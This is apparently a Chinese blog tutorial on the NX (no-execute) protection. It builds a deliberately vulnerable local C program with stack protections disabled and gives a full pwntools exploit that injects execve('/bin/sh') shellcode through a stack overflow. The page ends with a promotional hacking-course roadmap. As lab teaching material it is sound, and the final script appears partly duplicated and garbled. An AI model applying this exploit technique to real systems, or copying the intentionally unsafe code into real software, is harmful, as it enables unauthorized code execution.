NX防护机制以及最基本shellcode

本文介绍了NX(No eXecute)防护机制的基本原理,通过一个实验展示了在NX关闭的情况下如何利用栈溢出来执行自定义系统调用。文章详细讲解了利用过程,包括观察程序行为、确认栈溢出、编写脚本写入汇编代码,并最终实现系统调用。同时,文章提供了学习网络安全的全面学习路径。

NX 基本介绍

No- eXecuteNX的基本原理是将数据所在内存页(用户栈中)标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令.

微信截图_20221014115435.png

如图所示,该程序的栈空间没有可执行x权限,所以无法执行任何代码。

道理我们都懂,那么如果我们 关闭了NX到底可以干什么呢,该如何利用呢?下面通过一个实验来说明。

实验基本信息

本次虽提供了源码,但在我们利用NX防护关闭这个漏洞时, 是在不知道源代码,编译时没有附带-g无法gdb直接进行调试的基础上进行的。

源代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init()
{
    setvbuf(stdin,0,_IONBF,0);
    setvbuf(stdout,0,_IONBF,0);
}

int main()
{

    char buf[100] = {0};

    init();
    printf("[DEBUGING] buf: %p\n",buf);
    printf("Hello,What's Your name?\n");

    read(0,buf,0x100);
    printf("I don't know you,so bye ;)\n");

    return 0;
}

makefile文件

提供makefile方便可以快速编译改代码

OBJS=pwn_2.c
CC=gcc
CFLAGS+=-fno-stack-protector -no-pie -z execstack # 关闭NX

pwn_2:$(OBJS)
        $(CC) $^ $(CFLAGS) -o $@

clean:
        $(RM) *.o # 可省略

checksec信息

WeChat
Screenshot_20221011233837.png

如图所示NX disabled NX防护已关闭

WeChat
Screenshot_20221011233940.png

确定栈段具有可执行权限

提示

进行编译的时候,gcc 会提示:

‘read’ writing 256 bytes into a region of size 100 overflows the destination [-Wstringop-overflow=]

不用理会, 因为本身我们验证的就是栈溢出,所以此处提示数据会溢出是正确的。

启动!

本次我们不站在有源码的前提下,所以对程序的行为等进行一系列观察。

观察程序的行为

./pwn_2执行该程序

微信截图_20221014114754.png

通过执行的结果我们发现该程序泄露了其中buf的地址,怀疑可能是 保存读取信息的数组。

我们再strace看看其系统调用。

微信截图_20221014115615.png

初步确认通过read进行读取
读取的长度为256字节(0x100),由于read是底层的系统调用,所以此处不能武断的认为一定是调用了read,有可能是任何封装了read的函数(如
fread ),再通过gdb调试其程序vmmap查看虚拟内存空间。

微信截图_20221014115435.png

确认buf处于栈段中,而且该栈段具有可执行权限

确认栈溢出

进一步通过objdump看看程序的反汇编objdump -D pwn_2 -M intel

WeChat
Screenshot_20221012004353.png

可以明显的看出,栈栈中开辟了0x70的空间,而且其中有 0x64 字节的空间初始化为了 0 (8 * 12 + 4)

确认这部分的空间就是为buf开辟的,所以buf为一个大小为 100 的数组,确认存在栈溢出,起始我们只需要确认栈的大小为 0x70
即可,接下来进行覆盖。

利用

思路

向栈中插入系统调用execv调用的代码,调用/bin/bash,从而执行一个shell,这只是一个最简单的利用方式,利用方式多种多样。

如何写入一段系统调用

Linux System Call
Table

我们可以从该网站中查看相关的系统调用,与其需要的参数

将对应的参数按照rdirsirdxrcxr8r9的顺序传入相应的寄存器(网站中也会给出),并最后在rax加入其系统调用编号,再调用syscall即可。

如下为execv

xor rsi,rsi
mov rdx,rsi
mov rdi,address
mov al.59
syscall

其中address便是我们要传入的要调用执行file的名称的地址,也就是/bin/bash的地址。

NRsyscall nameraxarg0 (rdi)arg1 (rsi)arg2 (rdx)
59execve0x3bconst char *filenameconst char *const *argvconst char
*const *envp

其中 arg0 和 arg1 若不给值,寄存器赋 0 即可。

编写相关脚本

接收并保存buf的地址

首先我们现把buf的地址保存起来,为了后续向该地址中写入要执行的代码。

from pwn import *

p = process('./pwn_2')

p.recvuntil(b'buf: ')

buf = int(p.recvline()[:-1],16)

log.info("buf address is :0x%x",buf)

测试成功,获得buf的地址。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ihj28x2M-1675823242049)(https://image.3001.net/images/20221014/1665723626_6348ecea01f09d4ad96cc.png!small)]

写入/bin/bash字符串

由于系统调用要调用bash弹出一个shell,所我们需要先将该字符写入到栈中,我们的思路是:

将该字符串写入到buf首地址的空间中,接下来系统调用传入地址时,只需要传入数组的首页地址即可。

payload = b'/bin/sh\0'
p.sendafter(b'name?',payload)

先进行一下测试。

微信截图_20221014100447.png

成功写入到数组的开头处。

写入汇编代码

一些小细节,为了让我们写入的内容分行写入,我们使用 三引号 将内容包含起来。

context.arch = 'amd64'    #指定架构类型 为amd64
context.os = 'linux'      #系统为linux
context.endian = 'little' #小端模式
context.word_size = 64    # 64位系统

sc = asm('''
    xor rsi,rsi
    mov rdx,rsi
    mov rdi, ''' + str(buf) + '''
    mov al,59
    syscall
''')

之前我们将/bin/bash字符串放到了数组的开头处,所以此时直接传buf的地址即可。
微信截图_20221014130309.png
成功写入并返回到该系统调用处。

最终的脚本

接下来,写入以上内容后,我们只需要让接下来0x70大小的空间中剩下的空间全部填充,并溢出将返回的地址溢出位buf的地址即可。

from pwn import *

p = process('./pwn_2')

p.recvuntil(b'buf: ')

buf = int(p.recvline(),16)

raw_input('>')

log.info(hex(buf))

payload = b'/bin/sh\0'

context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 64

sc = asm('''
     xor rsi,rsi
     mov rdx,rsi
     mov rdi,''' + str(buf) + '''
     mov al,59
     syscall
''')

payload += sc
payload = payload.ljust(0x70,b'\x00') # 用 0 填充满0x70的空间
payload += p64(0x0)
payload += p64(buf + 8)
raw_input('>')

p.sendafter(b'name?',payload)

raw_input('>')

p.interactive()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bsb2SUYX-1675823242050)(https://image.3001.net/images/20221014/1665723652_6348ed04697118441fc85.png!small)]

payload.ljust(0x70,b’\x00’) # 用 0 填充满0x70的空间
payload += p64(0x0)
payload += p64(buf + 8)
raw_input(‘>’)

p.sendafter(b'name?',payload)

raw_input('>')

p.interactive()

[外链图片转存中…(img-Bsb2SUYX-1675823242050)]

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值